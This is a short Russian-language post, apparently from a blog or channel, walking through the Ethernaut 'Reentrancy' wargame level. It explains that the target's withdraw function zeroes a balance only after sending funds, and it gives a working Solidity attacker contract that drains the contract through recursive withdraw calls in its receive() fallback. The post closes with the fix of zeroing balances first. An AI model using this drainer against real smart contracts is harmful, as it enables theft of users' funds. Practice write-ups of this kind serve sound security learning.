Ethernaut. Задача 10. Reentrancy
В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу
В чем суть?
С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.
Опять же привожу пример кода, который сработал у меня:
contract Hack {
uint constant BID = 0.1 ether;
Reentrance hack;
constructor(address payable _hack) {
hack = Reentrance(_hack);
}
function donateTo() external payable{
address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
}
function attack() public {
address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
}
receive() external payable {
if(address(hack).balance >= BID) {
attack();
}
}
}
В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.
Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.
#ethernaut
Post #394
183
- 👍 2